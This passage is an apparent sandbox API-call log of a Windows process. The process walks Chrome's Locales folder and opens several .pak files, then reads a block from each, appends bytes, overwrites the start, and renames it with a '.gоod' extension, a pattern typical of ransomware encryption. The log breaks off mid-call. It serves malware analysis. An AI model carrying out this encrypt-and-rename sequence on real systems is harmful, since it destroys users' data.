ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d602f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6fff3, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0098.378] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d76284, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5116b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0098.378] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dae4f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0098.379] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51db8134, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0098.379] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51db8134, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 0 [0098.379] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0098.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0098.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x0) returned 0x4c [0098.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0098.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), fInfoLevelId=0x0, lpFileInformation=0x34508c0 | out: lpFileInformation=0x34508c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5176a4e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6368a)) returned 1 [0098.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0098.381] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x0) returned 0x4c [0098.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.381] GetFileType (hFile=0x7c8) returned 0x1 [0098.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.381] GetFileType (hFile=0x7c8) returned 0x1 [0098.381] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0098.381] ReadFile (in: hFile=0x7c8, lpBuffer=0x3450cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3450cd8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0098.383] CloseHandle (hObject=0x7c8) returned 1 [0098.383] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x0) returned 0x4c [0098.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.383] GetFileType (hFile=0x7c8) returned 0x1 [0098.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.383] GetFileType (hFile=0x7c8) returned 0x1 [0098.383] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x6368a [0098.383] WriteFile (in: hFile=0x7c8, lpBuffer=0x3452790*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3452790*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0098.385] CloseHandle (hObject=0x7c8) returned 1 [0098.385] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x0) returned 0x4c [0098.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.385] GetFileType (hFile=0x7c8) returned 0x1 [0098.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.385] GetFileType (hFile=0x7c8) returned 0x1 [0098.385] ReadFile (in: hFile=0x7c8, lpBuffer=0x34562f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34562f0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0098.546] CloseHandle (hObject=0x7c8) returned 1 [0098.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x0) returned 0x4c [0098.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.546] GetFileType (hFile=0x7c8) returned 0x1 [0098.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.546] GetFileType (hFile=0x7c8) returned 0x1 [0098.546] WriteFile (in: hFile=0x7c8, lpBuffer=0x32a1c98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x32a1c98*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0098.546] CloseHandle (hObject=0x7c8) returned 1 [0098.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x0) returned 0x4c [0098.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak.gоod", lpFilePart=0x0) returned 0x51 [0098.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0098.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x36f2f40f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6369a)) returned 1 [0098.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0098.547] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak.gоod")) returned 1 [0098.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x0) returned 0x4c [0098.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0098.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), fInfoLevelId=0x0, lpFileInformation=0x33c5e60 | out: lpFileInformation=0x33c5e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5178eed4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x61971)) returned 1 [0098.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0098.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x0) returned 0x4c [0098.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.548] GetFileType (hFile=0x7c8) returned 0x1 [0098.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.548] GetFileType (hFile=0x7c8) returned 0x1 [0098.548] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0098.548] ReadFile (in: hFile=0x7c8, lpBuffer=0x33c6bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x33c6bb0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0098.562] CloseHandle (hObject=0x7c8) returned 1 [0098.562] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x0) returned 0x4c [0098.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.562] GetFileType (hFile=0x7c8) returned 0x1 [0098.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.562] GetFileType (hFile=0x7c8) returned 0x1 [0098.562] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x61971 [0098.563] WriteFile (in: hFile=0x7c8, lpBuffer=0x33ccfb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x33ccfb0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0098.703] CloseHandle (hObject=0x7c8) returned 1 [0098.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x0) returned 0x4c [0098.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.703] GetFileType (hFile=0x7c8) returned 0x1 [0098.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.703] GetFileType (hFile=0x7c8) returned 0x1 [0098.704] ReadFile (in: hFile=0x7c8, lpBuffer=0x332f810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x332f810*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0098.812] CloseHandle (hObject=0x7c8) returned 1 [0098.812] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x0) returned 0x4c [0098.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.812] GetFileType (hFile=0x7c8) returned 0x1 [0098.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.812] GetFileType (hFile=0x7c8) returned 0x1 [0098.812] WriteFile (in: hFile=0x7c8, lpBuffer=0x332e568*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x332e568*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0098.813] CloseHandle (hObject=0x7c8) returned 1 [0098.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x0) returned 0x4c [0098.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak.gоod", lpFilePart=0x0) returned 0x51 [0098.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0098.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x371b7511, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x61981)) returned 1 [0098.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0098.813] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak.gоod")) returned 1 [0098.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x0) returned 0x4c [0098.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0098.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), fInfoLevelId=0x0, lpFileInformation=0x343f9e8 | out: lpFileInformation=0x343f9e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517a0044, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7387a)) returned 1 [0098.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0098.814] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x0) returned 0x4c [0098.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.814] GetFileType (hFile=0x7c8) returned 0x1 [0098.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.814] GetFileType (hFile=0x7c8) returned 0x1 [0098.814] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0098.814] ReadFile (in: hFile=0x7c8, lpBuffer=0x343fe00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x343fe00*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0098.866] CloseHandle (hObject=0x7c8) returned 1 [0098.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x0) returned 0x4c [0098.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.867] GetFileType (hFile=0x7c8) returned 0x1 [0098.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.867] GetFileType (hFile=0x7c8) returned 0x1 [0098.867] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x7387a [0098.867] WriteFile (in: hFile=0x7c8, lpBuffer=0x3443328*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3443328*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0098.885] CloseHandle (hObject=0x7c8) returned 1 [0098.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x0) returned 0x4c [0098.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0098.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0098.885] GetFileType (hFile=0x7c8) returned 0x1 [0098.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0098.886] GetFileType (hFile=0x7c8) returned 0x1 [0098.886] ReadFile (in: hFile=0x7c8, lpBuffer=0x3493980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3493980*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0099.302] CloseHandle (hObject=0x7c8) returned 1 [0099.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x0) returned 0x4c [0099.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0099.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak"), 